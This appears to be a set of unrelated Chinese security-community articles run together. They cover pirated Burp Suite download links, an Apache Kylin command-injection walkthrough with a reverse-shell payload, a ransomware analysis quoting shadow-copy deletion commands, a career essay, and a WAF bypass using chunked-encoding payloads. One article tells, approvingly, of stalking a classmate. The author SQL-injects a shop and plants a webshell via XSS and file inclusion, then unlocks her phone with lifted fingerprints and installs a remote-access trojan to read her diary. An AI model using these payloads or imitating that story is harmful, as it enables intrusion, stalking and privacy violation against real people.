拦截代理（Proxy），你可以检查和更改浏览器与目标应用程序间的流量；
可感知应用程序的网络爬虫（Spider），它能完整的枚举应用程序的内容和功能；
高级扫描器，执行后它能自动地发现web应用程序的安全漏洞；
入侵测试工具（Intruder），用于执行强大的定制攻击去发现及利用不同寻常的漏洞；
重放工具（Repeater），一个靠手动操作来触发单独的HTTP 请求，并分析应用程序响应的工具；
会话工具（Sequencer），用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具；
解码器，进行手动执行或对应用程序数据者智能解码编码的工具；
扩展性强，可以让你加载Burp Suite的扩展，使用你自己的或第三方代码来扩展Burp Suit的功能。
burpsuite1.6pro:
下载链接: <https://pan.baidu.com/s/1sl4Ic5f> 密码: s4px
burpsuite_pro_v1.7.11：
下载链接: <https://pan.baidu.com/s/1eSKD4Fg> 密码: cmvn
官方最新版新支持window(.exe)直接安装：
下载地址：<https://portswigger.net/burp/download.html> | 社区文章 |
**作者：香依香偎**
**原文链接：[闻道解惑（wendao_jiehuo）](https://mp.weixin.qq.com/s/QzlHYST0kIqjNV-hnosyAw)**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
## CVE-2020-1956
2020年5月22日， **CNVD** 通报了 **Apache Kylin** 存在命令注入漏洞 **CVE-2020-1956** ，地址在
<http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133> 。
> **Apache Kylin** 是美国 **Apache** 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供
> **Hadoop/Spark** 之上的 **SQL** 查询接口及多维分析（ **OLAP** ）等功能。
>
> **Apache Kylin** 中的静态 **API**
> 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响： **Apache Kylin**
> 2.3.0版本至2.3.2版本，2.4.0版本至2.4.1版本，2.5.0版本至2.5.2版本，2.6.0版本至2.6.5版本，3.0.0-alpha版本，3.0.0-alpha2版本，3.0.0-beta版本，3.0.0版本，3.0.1版本。
下面就来分析一下这个漏洞。
## 一、搭建环境
**Kylin** 的环境并不好搭建，包括 **Hadoop、Hbase、Spark、Kafka** 等等一系列的组件需要安装配置。幸好，
**Kylin** 官网文档 <http://kylin.apache.org/cn/docs/install/kylin_docker.html> 提供了
**Docker** 环境的启动指南，分别执行这两个命令即可一键启动。
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
使用默认密码 **admin/KYLIN** 登录，就能看到已经配置好的模型（ **models** ），环境搭建大功告成。
## 二、Migrate Cube
这个漏洞的补丁代码在 **github** 上，地址是
<https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#>
。
可以看出，漏洞点在 **CubeService.java** 中的 **migrateCube()** 函数，漏洞原因是使用
**String.format()** 格式化待执行的系统命令且未做过滤，导致命令内容可被注入，涉及的参数包括 **srcCfgUri** 、
**dstCfgUri** 、 **projectName** 三个。
**Migrate Cube** 是什么？在官网的文档的 [Restful
章节](http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube
"Restful 章节") 中，可以看到这个 Restful接口的描述：
接口中显示需要两个路径入参，分别是 **cube** 和 **project** 。回看 **kylin** 页面上的表格里，已经显示了 **cube
name** 和对应的 **Project** 。
我们选择第一行记录中的 **cube** ： **kylin_sales_cube** 和对应的 **Project** ： **learn_kylin**
作为路径参数，POST 这个报文看看。
收到错误响应，提示 **One click migration is disable** 。
**One click migration is disable** 的提示，看起来有点眼熟。回看一眼 **patch code**
，嘿，原来这个错误提示就在 **migrateCube()** 函数的开头呀。
对应的配置检查函数 **isAllowAutoMigrateCube()** 在 **KylinConfigBase.java** 中，从配置项中读取了
**kylin.tool.auto-migrate-cube.enabled** ，默认值为 **FALSE** 。
如果要把配置修改为 **true** ，有两个办法。
* 方法一：使用 **docker exec -it bash** 命令进入容器，修改其中 **conf/kylin.properties** 文件，增加 **kylin.tool.auto-migrate-cube.enabled=true** 的配置项，然后在容器中使用 **bin/kylin stop** 和 **bin/kylin start** 命令重启 **kylin** 。
* 方法二：在 **WEB** 界面上点击 **SYSTEM** 和 **SET Config** ，手动输入配置项名称 **kylin.tool.auto-migrate-cube.enabled** 和值 **True** 。
方法一是永久有效，只是需要重启 **kylin** 进程；方法二立即生效但进程重启或 **Reload Config**
之后就失效。我们选择相对简单一些的方法二来操作。
修改完配置之后，再次发送 **POST Migrate Cube** 的报文，这次的报错提示为 **Source configuration should
not be empty.**
对应代码中的 **srcCfgUri** 和 **dstCfgUri** 的非空检查。
这两个值同样来自于配置项，分别是 **kylin.tool.auto-migrate-cube.src-config** 和
**kylin.tool.auto-migrate-cube.dest-config** 。
我们可以用前面配置 **kylin.tool.auto-migrate-cube.enabled**
同样的方法来配置这两个值。不过，在配置之前，你有没有注意到，这两个值，就是命令注入的关键参数呢？
## 三、命令注入
好，用 **destCfgUri** 来注入试试。在界面上 **Set Config** ，把 **srcCfgUri** 配置为
**/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie** ，将
**destCfgUri** 配置为 **/tmp/kylin.properties kylin_sales_cube learn_kylin true
true true true; touch /tmp/xiang; echo** 。注意其中注入了 **touch /tmp/xiang** 的系统命令。
重新发起 **Migrate Cube** 的请求。
收到 **200** 成功响应。
查看 **docker** 容器，注入的命令 **touch /tmp/xiang** 已经成功执行。
可以反弹 **shell** 么？当然可以。将 **kylin.tool.auto-migrate-cube.dest-config** 配置为
**/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash
-i >& /dev/tcp/172.17.0.1/9999 0>&1; echo** 。其中注入的命令从 **touch /tmp/xiang**
换成了反弹 **shell** 的命令 **bash -i >& /dev/tcp/172.17.0.1/9999 0>&1**，反弹到宿主机
**172.17.0.1** 上。
在宿主机上启动监听。
再发送一次 **Migrate Cube** 报文，等待几秒即可获取反弹 **shell** 。
* * * | 社区文章 |
本文来自i春秋作者：[gh0stkey](http://bbs.ichunqiu.com/thread-12136-1-1.html?from=paper)
-=--=--=--=--=--=--=--=--=--=--=--=- 时间：早上8点02分(洛杉矶时间)
作者：gh0stkey(米斯特安全团队核心)
-=--=--=--=--=--=--=--=--=--=--=--=-
**文章前介：**
主角：gh0stkey本人(化名:key)、国外留学学生(妹子)
导火线：带有印子的纸条
**文章导读：**
一张神秘的纸条出现在主角的生活之中，却让主角颠覆了"屌丝"的身份。
纸条模样还原：
因为当时没想到要拍照，就借下网图。
**内容简介：**
事情是这样的，在一个阳光明媚的早晨，Key开始了老套的生活方式(洗脸刷牙..)上学去了。 ...中间省略上课不听讲的趣事。
只听"叮铃铃"的下课铃，Key跟往常一样走出教室呼吸下新鲜的空气，可是意外的在走廊上发现了一张纸条。
上面的内容大概是一串数字：1001...(大概就是10这两个数字重复的使用) Key饶有兴趣的看了下，飞快的在大脑中找出了两种解决思路：二进制 摩斯电码。
Key再进行思考，发现只有摩斯电码可行(这样与之匹配 1=滴 0=嗒 正好学校最近也教过摩斯电码)
这样再进行一次转换(滴=· 嗒=-) 然后对应图1进行解码，发现结果居然是个中国的手机号。
出于好奇，Key使用了一个手机号位置定位的系统进行了查询：
（位置仅供参考而已。）
Key就在想自己班里是不是有一个就是新疆过来的？(其实就是在YY，是男的还是女的)
二话不说就动手把上次备份下来的同学信息档案调出来：
看到一个叫韩雨的，名字一看，果不其然是个妹子！(到这里Key的"屌丝"气质就显露无疑了)
开始进行人肉搜索，这里Key选择了Google进行搜索，先是搜索了"YuHan"的关键词，其实没有多少用处(名字太多找不到有用信息)
再进行手机号的搜索发现了一个网站:
居然搜索到了这个，进去了网站瞬间给跳转到了主页index.html
有经验的人就知道这个页面能被爬到，说明之前存在越权漏洞。
但是到Key开始玩的时候就给修复了，Key顿时脸上就多了几条黑线。。。
这彻底激发了Key的屌丝之魂，利用了Safe3进行了SQL注入的扫描 结果:
http:// ** _*_** ** _*_** ** _*_** */index.php?shop=17 可能存在SQL注入漏洞
虽然是爆出了可能存在其实使用SQLMAP注入也是可以的： 直接使用正常的语法就注入出来了：
Key看到数据量也是很大的，但并没有去Dump数据而是选择了温柔的方式：--os-shell
可惜的是并没有权限去执行，无奈，只得继续挖掘其他的漏洞。
通过一系列的测试挖到了一个XSS反射(这里的挖掘思路无非就是见参数就使用payload插进去然后看返回的信息进行构造)：
不过光一个XSS反射没有什么用，于是Key选择了代码审计这款程序，因为是一款开源的商城程序，很快就可以找到。
Key直接使用Tommsearch快速搜索找到后台一处代码：
<?php
include($_GET['action']);
....
明眼人直接可以看出来，存在文件包含漏洞。 但是只是后台，该怎么办？于是Key就结合了XSS反射漏洞进行：
Key在自己的主机上创建了个文件:1.php内容为：
<?php file_put_contents('key.php',base64_decode('QGV2YWwoJF9QT1NUJiM5MTtrZXkmIzkzOyk7Pz4=')); ?>
然后构建了xss反射的payload：
<script>href.location="/admin/ad.php?action=http://****.top/1.php"</script>
直接跳转到文件包含那个URL中然后包含Key的1.php文件这样就可以创建key.php木马文件了(一句话木马 也就是1.php的代码意思)。
流程图：
这边利用的商品评价，诱惑下后台的人。
OK这次渗透就到这里，Key顺利的拿下了Webshell：
之后Key得到了妹纸的买卖信息，其中步伐有胸罩购买！！(Key这时鼻血已经流出来了啦)
OK获取这些之后，Key整理了下文本就关机睡觉等待第二天去撩那个妹子(韩雨)。
。。。
第二天来到的如此之快，再去学校的路上Key碰见了上学以来对自己很照顾的同桌，并且知道了韩雨的模样(喷血喷血，好漂酿的)
走进了班级，Key东张西望，只见"清爽的头发，清秀的脸皮，清澈的眼眸"，没错就是韩雨！
Key以不是很流利的英语跟韩雨打招呼，得来的却是：“我知道你是中国人，我们可以用中国话沟通的。”
只听“啪啪啪啪”的响声，Key被打脸了，很疼
。。。 经过跟妹子的交流，他们的关系似乎在慢慢的拉近，于是相约去吃牛排(这期间细节就不多讲，就是撩妹子)，由于有事情，妹子先走了。
Key作为一名职业的“屌丝”！随身携带胶带纸是很有必要的，于是利用胶带纸小心翼翼的采集了西餐刀上的指纹：
顺利的保留下来之后，下面的才是有趣的。 。。。
又是过了几天，Key由于迟到被留下来罚打扫教室，发现韩雨的抽屉手机没带回去。Key试着打开手机可是有密码，也不知道，懒得用知道的信息做成密码攻击字典了，于是就用之前收集好的指纹信息顺利的解锁了手机，并且打开自己的网盘，种下了以前玩的安卓远控，安然无恙的放回了抽屉中。
。。。 终于，利用木马，Key有了妹子的正脸照：
Key也偷看了她的日记：
9.12号，今天有点累，闺蜜们都有男朋友安慰，突然觉得有男朋友真好。
这条日记 Key仿佛看到了希望！！
于是Key直接干脆的来了条：
第二天，Key直接当众表白(这里当然不能少了玫瑰花)，结果是成功了！
就这样Key成功的逆袭了“屌丝”的身份。
原文地址：http://bbs.ichunqiu.com/thread-12136-1-1.html?from=paper
* * * | 社区文章 |
# 【木马分析】解密具有完善支付体系的新型勒索软件Spora
|
##### 译文声明
本文是翻译文章，文章来源：bleepingcomputer.com
原文地址：<https://www.bleepingcomputer.com/news/security/spora-ransomware-works-offline-has-the-most-sophisticated-payment-site-as-of-yet/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **petale**
****](http://bobao.360.cn/member/contribute?uid=1431129546)
**预估稿费：200RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**0x00 前言**
今天一个名为Spora的新勒索软件家族浮出水面，其在俄语中是孢子的意思。这款勒索软件最值得注意的是强健的加密机制，离线工作能力和一个非常完善的赎金支付网站。而这个赎金支付网站是我们目前看到的最复杂成熟的一个。
Spora勒索软件首次发现是在Bleeping Computer和卡巴斯基论坛。接下来的分析由Bleeping Computer的Lawrence
Abrams提供，以及MalwareHunterTeam和Emsisoft的Fabian Wosar。
**0x01 Spora通过钓鱼邮件传播**
目前，Spora勒索软件通过钓鱼邮件伪装成发票信息传播。这些电子邮件附带了包含HTA文件的ZIP文件形式的附件。
这些HTA（HTML应用程序）文件使用双扩展名，如PDF.HTA或DOC.HTA。在Windows计算机上文件扩展名被隐藏，用户仅能看到第一个扩展名，并且可能被诱骗打开文件。点击任何这些文件将启动Spora勒索软件的进程。
当用户运行HTA文件时，它将释放出一个名为close.js的Javascript文件到％Temp％文件夹，该文件将进一步释放可执行文件到同一文件夹并执行。此可执行文件使用随机生成的名称。在我们的测试中是“81063163ded.exe”。此可执行文件是主加密器，并将加密计算机上的文件。
此外，该HTA文件还将提取并执行一个DOCX文件，告诉用户此文件已损坏，并将显示错误。其他恶意软件家族使用相同的伎俩，打开损坏的文件，以诱骗用户认为该文件已在电子邮件传输或下载期间损坏，这样用户就不会对打不开Word文件有异议。
与如今大多数勒索软件不同，Spora可离线运行，不会产生任何网络流量。另一个不同是，Spora并不针对大量的文件格式。当前版本的Spora仅针对具有以下文件扩展名的文件：
.xls, .doc, .xlsx, .docx, .rtf, .odt, .pdf, .psd, .dwg, .cdr, .cd, .mdb, .1cd, .dbf, .sqlite, .accdb, .jpg, .jpeg, .tiff, .zip, .rar, .7z, .backup
该加密过程的目标为本地文件和网络共享，并且不在文件末尾附加任何额外的文件扩展名，保留文件名的完整性。
为了避免损坏计算机以至阻止重启和其他操作，Spora跳过位于某些文件夹中的文件。默认情况下，Spora不会加密其名称中包含以下字符串的的文件：
games
program files (x86)
program files
windows
**0x02 Spora具备一流加密**
根据Emisoft的首席技术官和恶意软件研究员Fabian
Wosar的说法，Spora似乎在加密程序中没有任何漏洞。整个加密操作看起来非常复杂。Spora遵循这个复杂的过程来创建.KEY文件和创建用于锁定每个文件的加密密钥。
Wosar向Bleeping Computer解释了创建.KEY文件的过程：
”生成RSA密钥，生成AES密钥，使用AES密钥加密RSA密钥，使用可执行文件中的公钥加密AES密钥，将两个加密密钥保存到[.KEY ]文件。”
对于用户的数据文件，加密程序更简单快捷。“生成AES密钥，使用生成的RSA密钥加密AES密钥，使用AES密钥加密文件，将所有内容保存到文件中，”Wosar说。
“要解密，你必须向他们发送你的.KEY文件，”专家补充说。“然后他们可以使用他们的私钥，解密用于加密系统生成的RSA密钥的AES密钥。他们可能将RSA密钥嵌入到他们的解密器，然后发回你的解密器，解密器接着使用该RSA密钥解密文件中的AES密钥并用它解密。
[更新：在我们的文章发布后，Emsisoft发布了一篇博客文章详细介绍加密程序，对这个过程进行更深入的分析。（<http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/>）]
下面是硬编码在Spora的随机命名的可执行文件中的公有RSA密钥。
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6COfj49E0yjEopSpP5kbeCRQp
WdpWvx5XJj5zThtBa7svs/RvX4ZPGyOG0DtbGNbLswOYKuRcRnWfW5897B8xWgD2
AMQd4KGIeTHjsbkcSt1DUye/Qsu0jn4ZB7yKTEzKWeSyon5XmYwoFsh34ueErnNL
LZQcL88hoRHo0TVqAwIDAQAB
-----END PUBLIC KEY-----
在加密过程结束时，Spora还会运行以下CLI命令，其中包括删除卷映射拷贝服务（shadow volume
copies），禁用Windows启动修复（shadow volume copies）以及更改BootStatus策略。
process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
加密过程完成后，勒索软件将向用户的桌面和其他文件夹添加赎金备注和.KEY文件。
此赎金便笺包含简单的说明和感染ID，每个受害者唯一。此ID也用于[Infection-ID] .HTML格式的赎金备注文件名。
感染ID的格式为CCCXX-XXXXX-XXXXX-XXXXX-XXXXX或CCXXX-XXXXX-XXXXX-XXXXX-XXXXX，其中CCC和CC是三个和两个字母的国家代码，X是字母或数字字符。
**0x03 专业解密服务**
Spora的解密门户目前位于可公开访问的域名Spora.bz。这个域名实际上是一个用TOR网关来隐藏的TOR网站。
用户访问此网站后，须输入其赎金记录中显示的感染ID。 这是他们的Spora解密服务的登录ID。
Spora的解密服务是我们之前没有在任何其他勒索软件解密站点中所看到的。首先，在使用此网站之前，用户必须通过上传.KEY文件将其计算机与解密门户同步。
通过同步密钥文件，有关计算机加密的唯一信息随后会上传到支付网站，并与唯一ID相关联。受害者现在可以使用网站上提供的其他选项。此门户网站上的所有内容都整齐排列，并在悬停在某些选项上时显示有用的工具提示。
该勒索软件另一个独特的地方是可以根据受害者的需要购买不同的服务。这些选项在名为“MyPurchasings”的栏目下，允许用户：
解密他们的文件（目前$ 79）
以后免受Spora感染（目前$ 50）
支付赎金后，删除所有Spora相关文件（目前$ 20）
还原文件（目前为$ 30）
还原2个文件（免费）
这个整洁的设置让我们想起了电子商务网站的付款部分，为每个用户提供不同的付款选项。工具提示和这种模块化支付系统是我们迄今为止在任何其他勒索软件解密服务中都没有看到的。
Spora赎金支付网站似乎也在Twitter上通过其视觉效果给用户留下了深刻的印象。
当前版本的解密门户还使用由Comodo颁发的SSL证书，通过HTTPS加密流量。
所有Spora付款只能使用比特币。用户将比特币加载到他们的Spora帐户，然后他们可以使用它购买上面提供的任何服务。
根据Emisoft，Spora使用六层模型来组织不同类别的加密文件类型。然后，将有关每个类别的统计信息嵌入到.KEY文件和感染ID中。当受害者上传此文件并将其同步到解密门户时，Spora服务会根据受害者计算机中加密的数据量和类型显示不同的价格。
这使得开发者向商业公司或设计公司收取更多费用，通常计算机中的文件比计算机本身更为贵重。Bleeping
Computer统计Spora赎金的费用从79美元到280美元不等。
解密门户还包括一个聊天小部件，允许受害者发送多达五条消息。根据MalwareHunterTeam，这个功能的开发者很有经验。
这个聊天服务让Bleeping Computer确认一旦受害者支付赎金便会收到解密器，可以运行在他们计算机上的任何地方，解密锁定的文件。
**0x04 Spora目前只针对俄罗斯用户**
根据MalwareHunterTeam，所有Spora上传的ID都是来自俄罗斯的用户。
此外，在我们的测试中发现赎金备注也只有俄语。Spora钓鱼邮件也都是俄语。
从我们与不同的安全研究人员谈话中得知，新出现的Spora似乎是由一个专业的勒索软件团队组成，他们在勒索软件方面之前有经验。
去年的1月和2月，全世界都知道了勒索软件家族，如Locky和Cerber，这两个勒索软件在2016年困扰了世界各地的用户，安全公司也没有破解他们的加密。
Spora似乎和Cerber，Locky一样先进稳定，也许我们很快就会看到它从俄罗斯席卷全球。 | 社区文章 |
安全是个小众的行业，安全算法更是小众领域，虽然是个小领域，路比较窄走的人也很少，但是走的好的话前方就是大路，因为安全算法确是安全的核心驱动力之一。无论在大行业还是小领域，我们都应该以做本行业、本领域的专家为努力目标。
## 0x01 算法工程师分类
有人将机器学习算法工程师分为三类：应用型、研究型、轮子型。就像算法包括机器学习算法和统计学习算法一样，算法工程师本身包含了机器学习算法工程师，也包含其他一些传统算法工程师。算法工程师大致也可以分为这三类，应用型、研究型、轮子型。
### 应用型
应用型算法工程师占算法工程师的大部分，主要做算法和模型，但从数据、建模、业务到上线、运维都要做的来，技术栈需要全面，优势的技术点要突出。应用型算法工程师的灵魂是业务，算法跟着业务走，目标是让算法理解业务。给定一项工作内容，我们需要快速抽象问题，明确解决问题所需要的数据，大致采用的建模方法，预期的效果以及解决方案的可持续性和迭代性。理解业务需求，培养对业务的敏感性，以便在之后的工作中遇到类似的需求，可以快速解决问题，遇到新的问题，也可以凭借以往的经验找到解决思路。应用型算法工程师的优势来源于业务，业务不倒，优势不倒，跟紧核心业务，就算边缘业务被裁也可以立于不败之地，缺点主要是人员基数大，想要突出，需要培养核心竞争力。
### 研究型
研究型算法工程师只占了算法工程师的一小部分，主要做研究，暂时不用考虑落地。我理解的研究型算法工程师好比是学术界的工程师，主要做学术，改进、创造一些新的算法，发发paper，给公司挣些荣誉，做做技术储备，可以暂时不用考虑算法的商业应用。这类型属于高端领域，门槛很高，需要学术大佬来从事算法研究工作，主要集中在一些公司的Lab，比如AI
Lab。研究型算法工程师的优势主要是门槛高人员少竞争稍小，可以使用工业界的资源专心做一些科研，缺点主要是一旦公司业务不景气，只保留核心业务基本盘，研究性质的说不定哪天就被裁员了。
### 轮子型
轮子型算法工程师基数也很少，是我最佩服的人群，主要做学术和工程的结合。追踪一些学术界最新的paper，依据强大的知识储备和工程能力进行复现，并集成到底层框架中，供应用型算法工程师使用。轮子型算法工程师像是一座桥梁，沟通了学术界和工业界，不仅要考虑算法的学术价值，也需要考虑算法的落地实现。我认为轮子型算法工程师竞争力最强，上到算法研究、复现，下到应用、代码实现，比应用型算法工程师更全栈，几乎毫无弱点，在公司旺盛时期也许看起来不如研究型和应用型光环加身，但是从自身出发，对环境的适应能力很强，就算业务调整也可以很好地完成个人转型，毕竟两条腿走路，很稳，从一定意义上讲我现在走的路和轮子型比较像，算是跨领域结合。
## 0x02 应用型安全算法er综合素质
有机器学习大佬将算法工程师的综合素质划分为四点：知识、工具、逻辑和业务，研究员侧重于知识和逻辑，大数据工程师侧重于工具，而算法工程师比较均衡。初见时候很赞同这种划分，后来经历了一些大佬级面试，发现大佬们考察面试者的思路貌似也可以用这种划分来理解，所以说明这种划分理解很有学习意义，现在也是按照这四点重新搭建了个人的知识体系。学习本身就是从模仿到创造的过程，学习别人优秀的思想，然后结合自身情况，创造一些属于自己的东西。
### 知识
知识主要是一些理论储备，拿机器学习来说，知识就是防止过拟合的方法，L1、L2的含义，样本不均匀的处理方法，VC维以及各种机器学习算法的原理，学校的书本和课程主要负责的就是教授知识，就这造成了许多应届生在知识这个层面还行，但在其他层面不足。在面试中曾经就被问到很多知识，比如GBDT和XGB的区别，XGB和LGB的区别，深度强化学习的原理，面试官考察的就是知识，包括知识面和知识深度，就广度和深度而言，个人觉得深度比广度重要，但是如果深度够广度不够，说明学习效率不行，消耗的资源会很多。
### 工具
工具主要是一些技术实现手段，拿机器学习来说，工具主要是TensorFlow、sklearn等机器学习框架，pandas、numpy、scipy等库的使用，比如pandas主要用来处理表格类数据或时间序列数据，XGB等算法的使用，比如XGB调参的具体步骤，ELK、Spark、SQL等大数据工具的使用，比如使用Spark进行大数据处理以及机器学习训练。对场景、攻击模式、数据的认知深度，远比选择工具重要，但这是在掌握工具的前提下。工具类比较容易上手，和知识面一样，组成了算法工程师素质的基底。
### 逻辑
我理解的逻辑相当于资源调度或是驱动引擎，凌驾于知识、工具之上，拿到一个业务需求，深入理解问题，给出解决方案，从数据清洗到特征工程，再到自己的持续学习以增强解决方案的鲁棒性，这一链条都需要逻辑的调度。逻辑对知识的高级调度是研究员的核心技能，这也是我一直欠缺的。逻辑是好的解决方案的必备条件，调度知识给出解决方案，使用工具调度知识实现方案的做法。
### 安全业务
对于应用型算法工程师来说，无论什么时候，业务永远是第一位，因此应用型安全算法工程师的灵魂是安全业务。与其说是数据驱动安全，不如说是业务驱动安全。拿到一项业务需求，我们的目标就是利用我们已有的资源来最大化解决问题，资源包括但不限于知识、工具、逻辑、数据、平台。对业务的理解深度，决定着我们解决问题的程度。拿入侵检测来说，以前的处理手段是基于规则的单点日志审计，现在手段主要是基于多日志关联和上下文的检测，从处理手段就可以看出我们对问题理解的深度逐渐加深，解决思路也进步很多。现在已有研究人员通过对场景、攻击模式和数据的深入理解，在入侵检测中引入了图计算、图检索和图推理的技术。
## 0x03 安全问题解决思路
### 安全业务
根据安全业务确定解决方案。给定一个安全业务需求，比如做自动化入侵检测，入侵检测又分为网络入侵检测和主机入侵检测，网络入侵检测可以从流量中做检测，主机入侵检测可以从文件监控、进程监控、命令监控等方面做检测，但不论是哪种，不考虑极端情况，入侵者一般都会在日志中留下一些痕迹，那么又回到了老生常谈的问题，日志安全检测。所以数据来源就是各种日志，而且都是未标记日志数据。针对日志安全检测场景，可以结合机器学习安全检测和传统安全检测手段来解决问题。使用机器学习技术解决本场景，其中难点在于数据未打标和可运营的预期，针对数据未打标这个问题，在数据阶段，可以通过传统waf、传统IDS、威胁情报、聚类等手段打标黑样本和白样本解决这个问题，解决了数据未打标的问题之后，又可以细分为二分类和单分类方案，如果白样本超级多，黑样本超级少，可以选择单分类方法，基于业务历史行为建立异常基线，在异常的基础上检测威胁，如果黑样本也挺多的，就可以采用二分类了，二分类对未知威胁的覆盖能力较弱。在建模阶段，由于攻击可能很稀少，所以也可以通过无监督学习来规避数据未打标这个问题；针对可运营的预期，可以通过概率值表示危险程度值，根据具体情况运营top
N的数据。再结合传统入侵检测系统，相辅相成，相互印证，根据反馈结果，运营、迭代我们的机器学习模型。
### 数据和建模
日志那么多，到底选择哪些日志作为数据源呢？就像cdxy师傅ppt里说的一样，合适的日志解决合适的问题。说到这里发现之前说的自动化入侵检测场景很宽泛并不具体，可以理解成HIDS和WAF协同，如果是做HIDS的话需要内部服务日志，如果是做WAF的话需要外部通信日志。WAF和HIDS是从不同层面解决问题，针对不同的攻击模式，两者的覆盖面有所差异，所以性能可能有所差异。基础威胁建模的话就可以采用之前分析的思路，采用白名单的方式进行异常检测，再使用自动化信息收集和聚合等高级威胁建模方式从异常中过滤出威胁，比如基于攻击图的攻击路径检测，目前在图这一块研究不多，但是图好像可以作为关联日志等数据、关联HIDS和WAF等系统的有力手段，得好好学习学习。
### 后续
无论什么时候我们都应该加高自己的技术壁垒，培养独立思考的能力，根据自身情况培养核心竞争力，可以是业务敏感性，可以是安全研究深度，可以是某个小领域的全能。
## 0x04 引用
* <https://zhuanlan.zhihu.com/p/54089811>
* <https://www.zhihu.com/question/264528062/answer/570134579>
* <https://www.zhihu.com/question/31284094/answer/618616259>
* <https://www.cdxy.me/?p=803> | 社区文章 |
# 利用分块传输吊打所有WAF
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：luoye、00theway、zonadu@360安服华南攻防团队 & 360观星实验室
在看了bypassword的《在HTTP协议层面绕过WAF》之后，想起了之前做过的一些研究，所以写个简单的短文来补充一下文章里“分块传输”部分没提到的两个技巧。
## 技巧1 使用注释扰乱分块数据包
一些如Imperva、360等比较好的WAF已经对Transfer-Encoding的分块传输做了处理，可以把分块组合成完整的HTTP数据包，这时直接使用常规的分块传输方法尝试绕过的话，会被WAF直接识别并阻断。
我们可以在[[RFC7230]](https://tools.ietf.org/html/rfc7230)中查看到有关分块传输的定义规范。
4.1. Chunked Transfer Coding
The chunked transfer coding wraps the payload body in order to
transfer it as a series of chunks, each with its own size indicator,
followed by an OPTIONAL trailer containing header fields. Chunked
enables content streams of unknown size to be transferred as a
sequence of length-delimited buffers, which enables the sender to
retain connection persistence and the recipient to know when it has
received the entire message.
chunked-body = *chunk
last-chunk
trailer-part
CRLF
chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
chunk-size = 1*HEXDIG
last-chunk = 1*("0") [ chunk-ext ] CRLF
chunk-data = 1*OCTET ; a sequence of chunk-size octets
The chunk-size field is a string of hex digits indicating the size of
the chunk-data in octets. The chunked transfer coding is complete
when a chunk with a chunk-size of zero is received, possibly followed
by a trailer, and finally terminated by an empty line.
A recipient MUST be able to parse and decode the chunked transfer
coding.
4.1.1. Chunk Extensions
The chunked encoding allows each chunk to include zero or more chunk
extensions, immediately following the chunk-size, for the sake of
supplying per-chunk metadata (such as a signature or hash),
mid-message control information, or randomization of message body
size.
chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token / quoted-string
The chunked encoding is specific to each connection and is likely to
be removed or recoded by each recipient (including intermediaries)
before any higher-level application would have a chance to inspect
the extensions. Hence, use of chunk extensions is generally limited
通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释，如：
9;kkkkk
1234567=1
4;ooo=222
2345
0
(两个换行)
几乎所有可以识别Transfer-Encoding数据包的WAF，都没有处理分块数据包中长度标识处的注释，导致在分块数据包中加入注释的话，WAF就识别不出这个数据包了。
现在我们在使用了Imperva应用防火墙的网站测试常规的分块传输数据包：
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1 and
3
2=2
0
（两个换行）
返回的结果如下图所示。
可以看到我们的攻击payload “and 2=2”被Imperva的WAF拦截了。
这时我们将分块传输数据包加入注释符。
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1 and
3;test44444
2=2
0
(两个换行)
返回的结果如下图所示。
可以看到Imperva已经不拦截这个payload了。
## 技巧2 Bypass ModSecurity
众所周知ModSecurity是加载在中间件上的插件，所以不需要理会解析http数据包的问题，因为中间件已经帮它处理完了，那么无论使用常规的分块还是加了注释的分块数据包，ModSecurity都能直接获取到完整的http数据包然后匹配危险关键字，所以一些基于ModSecurity做的WAF产品难道就不受影响吗？
接下来我们在Apache+ModSecurity环境做测试。
sql.php代码如下：
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
echo $row['name'] . " " . $row['password']."n";
}
mysql_close($con);
print "========GET==========n";
print_r($_GET);
print "========POST==========n";
print_r($_POST);
?>
<a href="sqli.php?id=1"> sdfsdf </a>
ModSecurity加载的规则拦截了请求包中的关键字“union”。
下面我们的请求和返回结果如下：
请求:
http://10.10.10.10/sql.php?id=2%20union
返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
